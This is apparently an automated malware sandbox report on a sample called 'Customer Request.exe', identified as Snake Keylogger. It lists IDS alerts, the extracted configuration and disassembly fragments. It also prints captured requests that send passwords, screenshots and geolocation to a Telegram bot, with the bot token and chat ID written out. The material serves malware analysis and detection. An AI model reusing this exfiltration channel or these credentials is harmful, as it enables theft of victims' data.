2025-02-19T16:39:41.862826+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49834	149.154.167.220	443	TCP
2025-02-19T16:39:42.129743+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49837	149.154.167.220	443	TCP
2025-02-19T16:39:43.490463+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49846	149.154.167.220	443	TCP
2025-02-19T16:39:43.751866+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49850	149.154.167.220	443	TCP
2025-02-19T16:39:45.122465+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49858	149.154.167.220	443	TCP
2025-02-19T16:39:45.423792+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49862	149.154.167.220	443	TCP
2025-02-19T16:39:46.918258+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49873	149.154.167.220	443	TCP
2025-02-19T16:39:47.058058+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49874	149.154.167.220	443	TCP
2025-02-19T16:39:48.721998+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49887	149.154.167.220	443	TCP
2025-02-19T16:39:48.864914+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49886	149.154.167.220	443	TCP
2025-02-19T16:39:50.357882+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49894	149.154.167.220	443	TCP
2025-02-19T16:39:50.478485+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49895	149.154.167.220	443	TCP
2025-02-19T16:39:52.076081+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49908	149.154.167.220	443	TCP
2025-02-19T16:39:52.275612+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49912	149.154.167.220	443	TCP
2025-02-19T16:39:53.802049+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49922	149.154.167.220	443	TCP
2025-02-19T16:39:53.962070+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49924	149.154.167.220	443	TCP
2025-02-19T16:39:55.470819+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49935	149.154.167.220	443	TCP
2025-02-19T16:39:55.692966+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49936	149.154.167.220	443	TCP
2025-02-19T16:39:57.142783+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49947	149.154.167.220	443	TCP
2025-02-19T16:39:57.372529+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49949	149.154.167.220	443	TCP
2025-02-19T16:39:58.871157+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49960	149.154.167.220	443	TCP
2025-02-19T16:39:59.048871+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49961	149.154.167.220	443	TCP
2025-02-19T16:40:00.578443+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49972	149.154.167.220	443	TCP
2025-02-19T16:40:04.167517+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49996	149.154.167.220	443	TCP
2025-02-19T16:40:05.210138+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50002	149.154.167.220	443	TCP
2025-02-19T16:40:21.675180+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50091	149.154.167.220	443	TCP
2025-02-19T16:40:31.586150+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50096	149.154.167.220	443	TCP
2025-02-19T16:40:32.217766+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50097	149.154.167.220	443	TCP
2025-02-19T16:40:33.251871+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50098	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0000000F.00000002.2710539876.0000000002A01000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Telegram URL": "https://api.telegram.org/bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendMessage?chat_id=5007084465", "Token": "7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM", "Chat_id": "5007084465", "Version": "5.1"}
Source: gCFuOglEso.exe.7388.15.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendMessage"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\tmpG548.tmp (copy)	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	ReversingLabs: Detection: 31%

Multi AV Scanner detection for submitted file

Source: Customer Request.exe	Virustotal: Detection: 40%			Perma Link
Source: Customer Request.exe	ReversingLabs: Detection: 31%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack	String decryptor:
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack	String decryptor: 7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack	String decryptor: 5007084465
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack	String decryptor:
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack	String decryptor: 7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM
Source: 11.2.gCFuOglEso.exe.3e6a8e8.0.raw.unpack	String decryptor: 5007084465

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: Customer Request.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.8:49713 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.8:49722 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50092 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50093 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50094 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:50096 version: TLS 1.2

Source: Customer Request.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: rqSA.pdbSHA256 source: Customer Request.exe, gCFuOglEso.exe.0.dr
Source:	Binary string: rqSA.pdb source: Customer Request.exe, gCFuOglEso.exe.0.dr

Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 4x nop then jmp 056056F1h	10_2_05605440
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 4x nop then jmp 05604571h	10_2_056042C0
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 4x nop then jmp 05603157h	10_2_05602F78
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 4x nop then jmp 05603AE1h	10_2_05602F78
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 4x nop then jmp 05605CB8h	10_2_056058A0
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	10_2_05602478
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 4x nop then jmp 0560FA11h	10_2_0560F768
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 4x nop then jmp 056049D1h	10_2_05604720
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	10_2_05602C9D
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 4x nop then jmp 05605291h	10_2_05604FE0
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 4x nop then jmp 05605CB8h	10_2_056058A2
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 4x nop then jmp 05605CB8h	10_2_05605BE6
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 4x nop then jmp 05604E31h	10_2_05604B80
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	10_2_05602ABB
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-4Ch]	10_2_06C9D710
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	10_2_06C99418
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-4Ch]	10_2_06C9BF6C
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	10_2_07242E74
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 4x nop then jmp 0724675Eh	10_2_072465A8
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 4x nop then jmp 0724675Eh	10_2_072466AD
Source: C:\Users\user\Desktop\Customer Request.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_07245E85
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 4x nop then jmp 06E35356h	15_2_06E351A1
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	15_2_06E34E35
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 4x nop then jmp 06E35356h	15_2_06E352A5
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	15_2_06E353A8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49748 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49743 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.8:49743 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49749 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49750 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49751 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49747 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.8:49747 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49752 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49754 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49755 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49757 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49756 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49759 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49753 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49760 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49761 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49762 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49765 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49766 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49767 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49768 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49764 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49758 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49769 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49770 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49771 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49772 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49773 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49774 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49775 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49776 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49778 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49779 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49780 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49781 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49782 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49783 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49784 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49777 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49786 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49798 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49803 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49815 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49816 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49823 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49787 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49846 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49837 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49850 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49858 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49862 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49873 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49874 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49887 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49834 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49895 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49908 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49922 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49894 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49912 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49924 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49935 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49936 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49947 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49949 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49960 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49961 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49886 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49972 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49996 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50002 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50091 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50098 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50096 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50097 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd5190d8bacacdHost: api.telegram.orgContent-Length: 570Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd51c42e28e955Host: api.telegram.orgContent-Length: 570Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd52005f413c6dHost: api.telegram.orgContent-Length: 708860
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd5215a056c53eHost: api.telegram.orgContent-Length: 708860
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd5226d6d4bb7aHost: api.telegram.orgContent-Length: 708860
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd523aa40ba3cdHost: api.telegram.orgContent-Length: 708860Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7967054436:AAEM9PFKBirZzrcJ_AQreC9wDTN-AOtN0uM/sendDocument?chat_id=5007084465&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0AScreenshot%20%7C%20user%20%7C%20Snake%0D%0A%20%0D%0A%0D%0APC%20Name:830021%0D%0ADate%20and%20Time:%2019/02/2025%20/%2010:38:21%0D%0AClient%20IP:%208.46.123.189%0D%0A%0D%0ACountry%20Name:%20United%20States%0D%0ACountryCode:%20US%0D%0ARegion%20Name:%20New%20York%0D%0ARegion%20Code:%20NY%0D%0ACity:%20New%20York%0D%0ATimeZone:%20America/New_York%0D%0ALatitude:%2040.7123%0D%0ALongitude:%20-74.0068%0D%0AStub%20Version:%205.1 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd524bbee8cea5Host: api.telegram.orgContent-Length: 708871Connection: Keep-Alive
